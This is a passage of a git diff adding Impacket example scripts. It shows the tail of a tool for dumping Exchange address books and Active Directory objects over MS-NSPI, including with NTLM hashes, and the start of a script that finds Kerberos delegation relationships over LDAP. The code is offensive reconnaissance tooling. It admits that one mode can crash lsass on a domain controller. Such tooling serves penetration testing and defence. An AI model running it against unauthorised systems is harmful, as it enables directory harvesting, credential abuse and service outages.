+        if number > 0:
+            return number
+        else:
+            return (number + (1 << 32)) % (1 << 32)
+
+    def print_htable(self, parent_guid=None):
+        MIds_print = []
+
+        for MId in self.htable:
+            if parent_guid == None and 'parent_guid' not in self.htable[MId]:
+                MIds_print.append(MId)
+            elif parent_guid != None and 'parent_guid' in self.htable[MId] and self.htable[MId]['parent_guid'] == parent_guid:
+                MIds_print.append(MId)
+
+        for MId in MIds_print:
+            ab = self.htable[MId]
+            ab['printed'] = True
+            indent = '    ' * ab['depth']
+
+            # Table name
+            print("%s%s" % (indent, ab['name']))
+
+            # Count
+            if 'count' in ab:
+                print("%sTotalRecs: %d" % (indent, ab['count']))
+
+            # Table params
+            if MId != 0:
+                guid = uuid.bin_to_string(ab['guid']).lower()
+                print("%sGuid: %s" % (indent, guid))
+            else:
+                print("%sGuid: None" % indent)
+
+            if ab['is_master'] != 0:
+                print("%sPR_EMS_AB_IS_MASTER attribute is set!" % indent)
+
+            if self._extended_output:
+                dword = NSPIAttacks._int_to_dword(MId)
+                print("%sAssigned MId: 0x%.08X (%d)" % (indent, dword, MId))
+
+                if 'start_mid' in ab:
+                    dword = NSPIAttacks._int_to_dword(ab['start_mid'])
+                    if dword == 2:
+                        print("%sAssigned first record MId: 0x00000002 (MID_END_OF_TABLE)" % indent)
+                    else:
+                        print("%sAssigned first record MId: 0x%.08X (%d)" % (indent, dword, ab['start_mid']))
+
+                flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, ab['flags'])
+                print("%sFlags: %s" % (indent, flags))
+
+            print()
+
+            if MId != 0:
+                self.print_htable(parent_guid=ab['guid'])
+
+        if parent_guid == None:
+            for MId in self.htable:
+                if self.htable[MId]['printed'] == False:
+                    print("Found parentless object!")
+                    print("Name: %s" % self.htable[MId]['name'])
+                    print("Guid: %s" % uuid.bin_to_string(self.htable[MId]['guid']).lower())
+                    print("Parent guid: %s" % uuid.bin_to_string(self.htable[MId]['parent_guid']).lower())
+                    dword = NSPIAttacks._int_to_dword(MId) if MId < 0 else MId
+                    print("Assigned MId: 0x%.08X (%d)" % (dword, MId))
+                    flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, self.htable[MId]['flags'])
+                    print("Flags: %s" % flags)
+                    if self.htable[MId]['is_master'] != 0:
+                        print("%sPR_EMS_AB_IS_MASTER attribute is set!" % indent)
+                    print()
+
+    def disconnect(self):
+        nspi.hNspiUnbind(self.__dce, self.__handler)
+        self.__dce.disconnect()
+
+    def print_row(self, row_simpl, delimiter=None):
+        empty = True
+
+        for aulPropTag in row_simpl:
+            PropertyId = aulPropTag >> 16
+            PropertyType = aulPropTag & 0xFFFF
+
+            # Error, e.g. MAPI_E_NOT_FOUND
+            if PropertyType == 0x000A:
+                continue
+
+            # PtypEmbeddedTable
+            if PropertyType == 0x000D:
+                continue
+
+            empty = False
+
+            if PropertyId in MAPI_PROPERTIES:
+                property_name = MAPI_PROPERTIES[PropertyId][1]
+                if property_name is None:
+                    property_name = MAPI_PROPERTIES[PropertyId][5]
+                if property_name is None:
+                    property_name = MAPI_PROPERTIES[PropertyId][6]
+            else:
+                property_name = "0x%.8x" % aulPropTag
+
+            if self._extended_output:
+                property_name = "%s, 0x%.8x" % (property_name, aulPropTag)
+
+            if isinstance(row_simpl[aulPropTag], ExchBinaryObject):
+                self.print("%s: %s" % (property_name, self._encode_binary(row_simpl[aulPropTag])))
+            else:
+                self.print("%s: %s" % (property_name, row_simpl[aulPropTag]))
+
+        if empty == False and delimiter != None:
+            self.print(delimiter)
+
+    def load_props(self):
+        if len(self.props) > 0:
+            return
+
+        resp = nspi.hNspiQueryColumns(self.__dce, self.__handler)
+
+        for prop in resp['ppColumns']['aulPropTag']:
+            PropertyTag = prop['Data']
+            PropertyType = PropertyTag & 0xFFFF
+
+            if PropertyType == 0x000D:
+                # Skipping PtypEmbeddedTable to reduce traffic
+                continue
+
+            self.props.append(PropertyTag)
+
+    def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, onlyCheck=False):
+        printOnlyGUIDs = False
+        useAsExplicitTable = False
+
+        if self.anyExistingContainerID == -1:
+            self.load_htable_containerid()
+
+        if table_MId == None and eTable == None:
+            raise Exception("Wrong arguments!")
+        elif table_MId != None and eTable != None:
+            raise Exception("Wrong arguments!")
+        elif table_MId != None:
+            # Let's call NspiUpdateStat
+            # It's important when the given MId is taken from the hierarchy table,
+            # especially in Multi-Tenant environments
+            self.update_stat(table_MId)
+
+            # Table end reached
+            if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE:
+                # Returning False to support onlyCheck
+                return False
+        else:
+            # eTable != None
+            useAsExplicitTable = True
+
+        if attrs == self.PROPS_GUID:
+            # GUIDS
+            firstReqProps = self.PROPS_GUID
+            printOnlyGUIDs = True
+        elif attrs == self.PROPS_MINUMAL:
+            # MINIMAL
+            firstReqProps = self.PROPS_MINUMAL
+        elif attrs == []:
+            # FULL
+            # Requesting a list of all the properties that the server knows
+            if self.props == []:
+                self.load_props()
+            attrs = self.props
+
+            # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds,
+            # and then use them as an Explicit Table
+            firstReqProps = [PR_INSTANCE_KEY]
+            useAsExplicitTable = True
+        else:
+            # EXTENDED and custom
+            #
+            # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds,
+            # and then use them as an Explicit Table
+            firstReqProps = [PR_INSTANCE_KEY]
+            useAsExplicitTable = True
+
+        if onlyCheck:
+            attrs = self.PROPS_GUID
+            firstReqProps = self.PROPS_GUID
+            useAsExplicitTable = True
+
+        while True:
+            if eTable == None:
+                resp = nspi.hNspiQueryRows(self.__dce, self.__handler,
+                    pStat=self.stat, Count=count, pPropTags=firstReqProps)
+                self.stat = resp['pStat']
+
+                try:
+                    # Addressing to PropertyRowSet_r must be inside try / except,
+                    # as if the server returned a wrong result, it can be in
+                    # multiple of forms, and we cannot easily determine it
+                    # before parsing
+                    resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows'])
+                except Exception as e:
+                    resp.dumpRaw()
+                    logging.error(str(e))
+                    raise Exception("NspiQueryRows returned wrong result")
+
+                if onlyCheck:
+                    if len(resp_rows) == 0:
+                        return False
+
+                    for row in resp_rows:
+                        # PropertyId = 0x8C6D (objectGUID)
+                        # PropertyType = 0x000A (error)
+                        if 0x8C6D000A not in row:
+                            return True
+
+                    return False
+
+            if useAsExplicitTable:
+                if eTable == None:
+                    eTableInt = []
+                    for row in resp_rows:
+                        eTableInt.append(row[PR_INSTANCE_KEY])
+                else:
+                    eTableInt = eTable
+
+                resp = nspi.hNspiQueryRows(self.__dce, self.__handler,
+                    ContainerID=self.anyExistingContainerID, Count=count, pPropTags=attrs, lpETable=eTableInt)
+
+                try:
+                    # Addressing to PropertyRowSet_r must be inside try / except,
+                    # as if the server returned a wrong result, it can be in
+                    # multiple of forms, and we cannot easily determine it
+                    # before parsing
+                    resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows'])
+                except Exception as e:
+                    resp.dumpRaw()
+                    logging.error(str(e))
+                    raise Exception("NspiQueryRows returned wrong result while processing explicit table")
+
+                if onlyCheck:
+                    if len(resp_rows) == 0:
+                        return False
+
+                    for row in resp_rows:
+                        # PropertyId = 0x8C6D (objectGUID)
+                        # PropertyType = 0x000A (error)
+                        if 0x8C6D000A not in row:
+                            return True
+
+                    return False
+
+            if printOnlyGUIDs:
+                for row in resp_rows:
+                    if PR_EMS_AB_OBJECT_GUID in row:
+                        objectGuid = row[PR_EMS_AB_OBJECT_GUID]
+                        self.print(objectGuid)
+                    else:
+                        # Empty row (wrong MId)
+                        pass
+            else:
+                for row in resp_rows:
+                    self.print_row(row, DELIMITER)
+
+            # When the caller specified eTable it's always one NspiQueryRows call
+            if eTable != None:
+                break
+
+            # Table end reached
+            # It also MUST be checked after NspiUpdateStat
+            if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE:
+                break
+
+            # This should not happen
+            if len(resp_rows) == 0:
+                break
+
+    def req_print_guid(self, guid=None, attrs=[], count=50, guidFile=None):
+        if guid == None and guidFile == None:
+            raise Exception("Wrong arguments!")
+        elif guid != None and guidFile != None:
+            raise Exception("Wrong arguments!")
+
+        if attrs == []:
+            # Requesting a list of all the properties that the server knows
+            if self.props == []:
+                self.load_props()
+            attrs = self.props
+
+        if guid:
+            printedLines = self._req_print_guid([guid], attrs)
+            if printedLines == 0:
+                raise Exception("Object with specified GUID not found!")
+            return
+
+        fd = open(guidFile, 'r')
+        line = fd.readline()
+
+        while True:
+            guidList = []
+            # EOF
+            if line == '':
+                break
+
+            # Reading N lines from the file
+            for i in range(count):
+                line = fd.readline()
+                guid = line.strip()
+
+                if guid == '' or line[0] == '#':
+                    continue
+
+                guidList.append(guid)
+
+            # Multiple empty lines or EOF
+            if len(guidList) == 0:
+                continue
+
+            # Processing
+            self._req_print_guid(guidList, attrs, DELIMITER)
+
+        fd.close()
+
+    def _req_print_guid(self, guidList, attrs, delimiter=None):
+        legacyDNList = []
+
+        for guid in guidList:
+            legacyDNList.append(get_dn_from_guid(guid, minimize=True))
+
+        resp = nspi.hNspiResolveNamesW(self.__dce, self.__handler, pPropTags=attrs, paStr=legacyDNList)
+
+        try:
+            # Addressing to PropertyRowSet_r must be inside try / except,
+            # as if the server returned a wrong result, it can be in
+            # multiple of forms, and we cannot easily determine it
+            # before parsing
+            if resp['ppRows']['cRows'] <= 0:
+                return 0
+
+            # Addressing to PropertyRowSet_r must be inside try / except,
+            # as if the server returned a wrong result, it can be in
+            # multiple of forms, and we cannot easily determine it
+            # before parsing
+            resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows'])
+        except Exception as e:
+            resp.dumpRaw()
+            logging.error(str(e))
+            raise Exception("NspiResolveNamesW returned wrong result")
+
+        for row in resp_rows:
+            self.print_row(row, delimiter)
+
+        return resp['ppRows']['cRows']
+
+    def req_print_dnt(self, start_dnt, stop_dnt, attrs=[], count=50, checkIfEmpty=False):
+        if count <= 0 or start_dnt < 0 or stop_dnt < 0 or stop_dnt > 0xFFFFFFFF or start_dnt > 0xFFFFFFFF:
+            raise Exception("Wrong arguments!")
+
+        if stop_dnt >= start_dnt:
+            step = count
+            rstep = 1
+        else:
+            step = -count
+            rstep = -1
+
+        stop_dnt += rstep
+        dnt1 = start_dnt
+        dnt2 = start_dnt + step
+
+        while True:
+            if step > 0 and dnt2 > stop_dnt:
+                dnt2 = stop_dnt
+            elif step < 0 and dnt2 < stop_dnt:
+                dnt2 = stop_dnt
+
+            self.print("# MIds %d-%d:" % (dnt1, dnt2 - rstep))
+
+            if checkIfEmpty:
+                # Speed up the process by reducing the length of request/response
+                exists = self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep), onlyCheck=True)
+                if exists:
+                    self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep))
+            else:
+                self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep))
+
+            if dnt2 == stop_dnt:
+                break
+
+            dnt1 += step
+            dnt2 += step
+
+class ExchangerHelper:
+    def __init__(self, domain, username, password, remoteName):
+        self.__domain = domain
+        self.__username = username
+        self.__password = password
+        self.__remoteName = remoteName
+
+        self.exch = None
+
+    def run(self, options):
+        module = options.module.lower()
+        submodule = options.submodule.lower()
+
+        if module == 'nspi':
+            # Checking options before connecting to the server
+            self.nspi_check(submodule, options)
+            self.nspi_run(submodule, options)
+        else:
+            raise Exception("%s module not found" % module)
+
+    def nspi_run(self, submodule, options):
+        self.exch = NSPIAttacks()
+        self.exch.set_credentials(self.__username, self.__password, self.__domain, options.hashes)
+        self.exch.set_extended_output(options.debug)
+
+        if submodule in ['dump-tables', 'guid-known', 'dnt-lookup'] and options.output_file != None:
+            self.exch.set_output_file(options.output_file)
+
+        self.exch.connect_rpc(self.__remoteName, options.rpc_hostname)
+
+        if submodule == 'list-tables':
+            self.nspi_list_tables(options)
+        elif submodule == 'dump-tables':
+            self.nspi_dump_tables(options)
+        elif submodule == 'guid-known':
+            self.nspi_guid_known(options)
+        elif submodule == 'dnt-lookup':
+            self.nspi_dnt_lookup(options)
+
+        self.exch.disconnect()
+
+    def nspi_check(self, submodule, options):
+        if submodule == 'dump-tables' and options.name == None and options.guid == None:
+            dump_tables.print_help()
+            sys.exit(1)
+
+        if submodule == 'dump-tables' and options.name != None and options.guid != None:
+            logging.error("Specify only one of -name or -guid")
+            sys.exit(1)
+
+        if submodule == 'guid-known' and options.guid == None and options.guid_file == None:
+            guid_known.print_help()
+            sys.exit(1)
+
+        if submodule == 'guid-known' and options.guid != None and options.guid_file != None:
+            logging.error("Specify only one of -guid or -guid-file")
+            sys.exit(1)
+
+    def nspi_list_tables(self, options):
+        self.exch.load_htable()
+
+        if options.count:
+            self.exch.load_htable_stat()
+
+        self.exch.print_htable()
+
+    def nspi_dump_tables(self, options):
+        self.exch.set_output_type(options.output_type)
+
+        if options.lookup_type == None or options.lookup_type == 'MINIMAL':
+            propTags = NSPIAttacks.PROPS_MINUMAL
+        elif options.lookup_type == 'EXTENDED':
+            propTags = NSPIAttacks.PROPS_EXTENDED
+        elif options.lookup_type == 'GUIDS':
+            propTags = NSPIAttacks.PROPS_GUID
+        else:
+            # FULL
+            propTags = []
+
+        if options.name != None and options.name.lower() in ['gal', 'default global address list', 'global address list']:
+            logging.info("Lookuping Global Address List")
+            table_MId = 0
+        else:
+            # 2.2.8
+            # The client obtains Minimal Entry IDs for STAT ContainerID
+            # from the server's address book hierarchy table
+            #
+            # We cannot convert the GUID to a MId via NspiDNToMId or similar operations because it
+            # may not work in Multi-Tenant environments
+            self.exch.load_htable()
+
+            if options.guid != None:
+                logging.info("Search for an address book with objectGUID = %s" % options.guid)
+                guid = uuid.string_to_bin(options.guid)
+                name = None
+            else:
+                guid = None
+                name = options.name
+
+            table_MId = 0
+
+            for MId in self.exch.htable:
+                if MId == 0:
+                    # GAL
+                    continue
+
+                if guid is not None:
+                    # -guid
+                    if self.exch.htable[MId]['guid'] == guid:
+                        logging.debug("MId %d is assigned for %s object" % (MId, options.guid))
+                        logging.info("Lookuping %s" % self.exch.htable[MId]['name'])
+                        table_MId = MId
+                        break
+                else:
+                    # -name
+                    if self.exch.htable[MId]['name'] == name:
+                        guid = uuid.bin_to_string(self.exch.htable[MId]['guid'])
+                        logging.debug("MId %d is assigned for %s object" % (MId, guid))
+                        logging.info("Lookuping address book with objectGUID = %s" % guid)
+                        table_MId = MId
+                        break
+
+            if table_MId == 0:
+                logging.error("Specified address book not found!")
+                sys.exit(1)
+
+        self.exch.req_print_table_rows(table_MId, propTags, options.rows_per_request)
+
+    def nspi_guid_known(self, options):
+        self.exch.set_output_type(options.output_type)
+
+        if options.lookup_type == None or options.lookup_type == 'MINIMAL':
+            propTags = NSPIAttacks.PROPS_MINUMAL
+        elif options.lookup_type == 'EXTENDED':
+            propTags = NSPIAttacks.PROPS_EXTENDED
+        else:
+            # FULL
+            propTags = []
+
+        if options.guid != None:
+            self.exch.req_print_guid(options.guid, propTags)
+        else:
+            self.exch.req_print_guid(attrs=propTags, count=options.rows_per_request, guidFile=options.guid_file)
+
+    def nspi_dnt_lookup(self, options):
+        if options.lookup_type == None or options.lookup_type == 'EXTENDED':
+            propTags = NSPIAttacks.PROPS_EXTENDED
+        elif options.lookup_type == 'GUIDS':
+            propTags = NSPIAttacks.PROPS_GUID
+        else:
+            # FULL
+            propTags = []
+
+        self.exch.req_print_dnt(options.start_dnt, options.stop_dnt, attrs=propTags,
+            count=options.rows_per_request, checkIfEmpty=True)
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+
+    # Explicitly changing the stdout encoding format
+    if sys.stdout.encoding is None:
+        # Output is redirected to a file
+        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
+
+    print(version.BANNER)
+
+    class SmartFormatter(argparse.HelpFormatter):
+        def _split_lines(self, text, width):
+            if text.startswith('R|'):
+                return text[2:].splitlines()
+            else:
+                return argparse.HelpFormatter._split_lines(self, text, width)
+
+    def localized_arg(bytestring):
+        unicode_string = bytestring.decode(sys.getfilesystemencoding())
+        return unicode_string
+
+    parser = argparse.ArgumentParser(add_help=True, description="A tool to abuse Exchange services")
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG and EXTENDED output ON')
+    #parser.add_argument('-transport', choices=['RPC', 'MAPI'], nargs='?', default='RPC', help='Protocol to use')
+    parser.add_argument('-rpc-hostname', action='store', help='A name of the server in GUID (preferred) '
+        'or NetBIOS name format (see description in the beggining of this file)')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+
+    if PY37ORHIGHER:
+        subparsers = parser.add_subparsers(help='A module name', dest='module', required=True)
+    else:
+        subparsers = parser.add_subparsers(help='A module name', dest='module')
+
+    # NSPI module
+    nspi_parser = subparsers.add_parser('nspi', help='Attack NSPI interface')
+
+    # Attacks for NSPI protocol
+    if PY37ORHIGHER:
+        nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule', required=True)
+    else:
+        nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule')
+
+    list_tables = nspi_attacks.add_parser('list-tables', help='List Address Books')
+    list_tables.add_argument('-count', action='store_true', help='Request total number of records in each table')
+
+
+    dump_tables = nspi_attacks.add_parser('dump-tables', formatter_class=SmartFormatter, help='Dump Address Books')
+    dump_tables.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='MINIMAL',
+        help='R|Lookup type:\n'
+             '  MINIMAL  - Request limited set of fields (default)\n'
+             '  EXTENDED - Request extended set of fields\n'
+             '  FULL     - Request all fields for each row\n'
+             '  GUIDS    - Request only GUIDs')
+    dump_tables.add_argument('-rows-per-request', action='store', type=int, metavar="50", default=50,
+        help='Limit the number of rows per request')
+
+    if PY3:
+        dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)')
+    else:
+        dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)',
+            type=localized_arg)
+
+    dump_tables.add_argument('-guid', action='store', help='Dump table with the specified GUID')
+    dump_tables.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex',
+        help='Output format for binary objects')
+    dump_tables.add_argument('-output-file', action='store', help='Output filename')
+
+    guid_known = nspi_attacks.add_parser('guid-known', formatter_class=SmartFormatter,
+        help='Retrieve Active Directory objects by GUID / GUIDs')
+    guid_known.add_argument('-guid', action='store', help='Dump object with the specified GUID')
+    guid_known.add_argument('-guid-file', action='store', help='Dump objects using GUIDs from file')
+    guid_known.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL'], nargs='?', default='MINIMAL',
+        help='R|Lookup type:\n'
+             '  MINIMAL  - Request limited set of fields (default)\n'
+             '  EXTENDED - Request extended set of fields\n'
+             '  FULL     - Request all fields for each row')
+    guid_known.add_argument('-rows-per-request', action='store', type=int, metavar="50", default=50,
+        help='Limit the number of rows per request')
+    guid_known.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex',
+        help='Output format for binary objects')
+    guid_known.add_argument('-output-file', action='store', help='Output filename')
+
+    dnt_lookup = nspi_attacks.add_parser('dnt-lookup', formatter_class=SmartFormatter, help='Lookup Distinguished Name Tags')
+    dnt_lookup.add_argument('-lookup-type', choices=['EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='EXTENDED',
+        help='R|Lookup type:\n'
+             '  EXTENDED - Request extended set of fields (default)\n'
+             '  FULL     - Request all fields for each row\n'
+             '  GUIDS    - Request only GUIDs')
+    dnt_lookup.add_argument('-rows-per-request', action='store', type=int, metavar="350", default=350,
+        help='Limit the number of rows per request')
+
+    dnt_lookup.add_argument('-start-dnt', action='store', type=int, metavar="500000", default=500000,
+        help='A DNT to start from')
+    dnt_lookup.add_argument('-stop-dnt', action='store', type=int, metavar="0", default=0,
+        help='A DNT to lookup to')
+
+    dnt_lookup.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex',
+        help='Output format for binary objects')
+    dnt_lookup.add_argument('-output-file', action='store', help='Output filename')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.rpc_hostname == '':
+        # Preventing false feedback that empty hostname means something for Exchange
+        # For autodetect -rpc-hostname should be skipped
+        logging.error("-rpc-hostname cannot be empty")
+        sys.exit(1)
+
+    if options.rpc_hostname is None:
+        # Autodetect
+        options.rpc_hostname = ''
+
+    try:
+        exchHelper = ExchangerHelper(domain, username, password, remoteName)
+        exchHelper.run(options)
+    except KeyboardInterrupt:
+        logging.error("KeyboardInterrupt")
+    except Exception as e:
+        #raise
+
+        # This may contain UTF-8
+        error_text = 'Protocol failed: %s' % e
+        logging.critical(error_text)
+
+        if 'NspiQueryRows returned wrong result' in error_text and \
+            options.submodule.lower() == 'dnt-lookup':
+            logging.critical("Most likely ntdsai.dll in lsass.exe has crashed "
+                             "on a Domain Controller while processing a DNT which "
+                             "does not support to be requested via MS-NSPI. "
+                             "The DC is probably rebooting. "
+                             "This can happend in Multi-Tenant Environment. "
+                             "You can try to request different DNT range")
+
+        if 'Connection reset by peer' in error_text and \
+            exchHelper.exch._rpctransport.rts_ping_received == True and \
+            options.submodule.lower() == 'dnt-lookup':
+            logging.critical("Most likely ntdsai.dll in lsass.exe has crashed "
+                             "on a Domain Controller while processing a DNT which "
+                             "does not support to be requested via MS-NSPI. "
+                             "The DC is probably rebooting. "
+                             "This can happend in Multi-Tenant Environment. "
+                             "You can try to request different DNT range")
+
+        # This usually happens when the target is RDG
+        # Probably may happen for Exchange 2003 / 2007 / 2010
+        if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
+            logging.critical("This usually means the target has no ACL to connect to "
+                             "this endpoint using RPC Proxy")
+            logging.critical("Is the server a MS Exchange?")
+            if options.rpc_hostname == '':
+                logging.critical("Try to specify -rpc-hostname (see description in the "
+                                 "beggining of this file)")
+            else:
+                logging.critical("Try to specify different -rpc-hostname, or enumerate "
+                                 "endpoints via rpcmap.py / rpcdump.py")
+
+        # It's Exchange or Exchange behind TMG, but the RPC Server name is wrong
+        if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
+           RPC_PROXY_CONN_A1_404_ERR in error_text:
+            if options.rpc_hostname == '':
+                logging.critical("Cannot determine the right RPC Server name. Specify -rpc-hostname "
+                                 "(see description in the beggining of this file)")
+            else:
+                logging.critical("The specified RPC Server is incorrect. "
+                                 "Try to specify different -rpc-hostname")
+
+        if RPC_PROXY_REMOTE_NAME_NEEDED_ERR in error_text:
+            logging.critical("Specify -rpc-hostname (see description in the beggining of this file)")
+
+        # Wrong credentials
+        if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text:
+            logging.critical("Wrong credentials!")
+
+        # Show a reminder if Basic
+        if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text:
+            if exchHelper.exch._rpctransport.get_auth_type() == AUTH_BASIC and domain == '':
+                logging.critical("The server requested Basic authentication which "
+                                 "may require you to specify the domain. "
+                                 "Your domain is empty!")
+
+        if RPC_PROXY_CONN_A1_401_ERR in error_text or \
+           RPC_PROXY_CONN_A1_404_ERR in error_text:
+            logging.info("A proxy in front of the target server detected (may be WAF / SIEM)")
diff --git a/examples/findDelegation.py b/examples/findDelegation.py
new file mode 100644
index 0000000..db37560
--- /dev/null
+++ b/examples/findDelegation.py
@@ -0,0 +1,322 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This module will try to find all delegation relationships in a given domain.
+#   Delegation relationships can provide info on specific users and systems to target,
+#   as access to these systems will grant access elsewhere also.
+#   Unconstrained, constrained, and resource-based constrained delegation types are queried
+#   for and displayed.
+#
+# Author:
+#   Dave Cossa (@G0ldenGunSec)
+#   Based on GetUserSPNs.py by Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+
+import argparse
+import logging
+import sys
+
+from impacket import version
+from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.ldap import ldap, ldapasn1
+from impacket.ldap import ldaptypes
+from impacket.smbconnection import SMBConnection, SessionError
+
+
+class FindDelegation:
+    @staticmethod
+    def printTable(items, header):
+        colLen = []
+        for i, col in enumerate(header):
+            rowMaxLen = max([len(row[i]) for row in items])
+            colLen.append(max(rowMaxLen, len(col)))
+
+        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
+
+        # Print header
+        print(outputFormat.format(*header))
+        print('  '.join(['-' * itemLen for itemLen in colLen]))
+
+        # And now the rows
+        for row in items:
+            print(outputFormat.format(*row))
+
+    def __init__(self, username, password, user_domain, target_domain, cmdLineOptions):
+        self.__username = username
+        self.__password = password
+        self.__domain = user_domain
+        self.__target = None
+        self.__targetDomain = target_domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = cmdLineOptions.aesKey
+        self.__doKerberos = cmdLineOptions.k
+        #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost
+        self.__kdcIP = cmdLineOptions.dc_ip
+        self.__kdcHost = cmdLineOptions.dc_host
+        if cmdLineOptions.hashes is not None:
+            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
+
+        # Create the baseDN
+        domainParts = self.__targetDomain.split('.')
+        self.baseDN = ''
+        for i in domainParts:
+            self.baseDN += 'dc=%s,' % i
+        # Remove last ','
+        self.baseDN = self.baseDN[:-1]
+        # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain
+        # because then the KDC host will be used for both
+        # the initial and the referral ticket, which breaks stuff.
+        if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost):
+            logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.')
+            self.__kdcIP = None
+            self.__kdcHost = None
+
+    def getMachineName(self, target):
+        try:
+            s = SMBConnection(target, target)
+            s.login('', '')
+        except OSError as e:
+            if str(e).find('timed out') > 0:
+                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option.')
+            else:
+                raise
+        except SessionError as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') > 0:
+                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option.')
+            else:
+                raise
+        except Exception:
+            if s.getServerName() == '':
+                raise Exception('Error while anonymous logging into %s' % target)
+        else:
+            s.logoff()
+        return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
+    
+
+    def run(self):
+        if self.__kdcHost is not None and self.__targetDomain == self.__domain:
+            self.__target = self.__kdcHost
+        else:
+            if self.__kdcIP is not None and self.__targetDomain == self.__domain:
+                self.__target = self.__kdcIP
+            else:
+                self.__target = self.__targetDomain
+
+            if self.__doKerberos:
+                logging.info('Getting machine hostname')
+                self.__target = self.getMachineName(self.__target)
+
+        # Connect to LDAP
+        try:
+            ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
+            if self.__doKerberos is not True:
+                ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            else:
+                ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                             self.__aesKey, kdcHost=self.__kdcIP)
+        except ldap.LDAPSessionError as e:
+            if str(e).find('strongerAuthRequired') >= 0:
+                # We need to try SSL
+                ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP)
+                if self.__doKerberos is not True:
+                    ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+                else:
+                    ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                                 self.__aesKey, kdcHost=self.__kdcIP)
+            else:
+                if str(e).find('NTLMAuthNegotiate') >= 0:
+                    logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos "
+                                     "authentication instead")
+                else:
+                    if self.__kdcIP is not None and self.__kdcHost is not None:
+                        logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They "
+                                         "must match exactly each other")
+                raise
+
+        searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \
+                       "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \
+                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))"
+
+        try:
+            resp = ldapConnection.search(searchFilter=searchFilter,
+                                         attributes=['sAMAccountName',
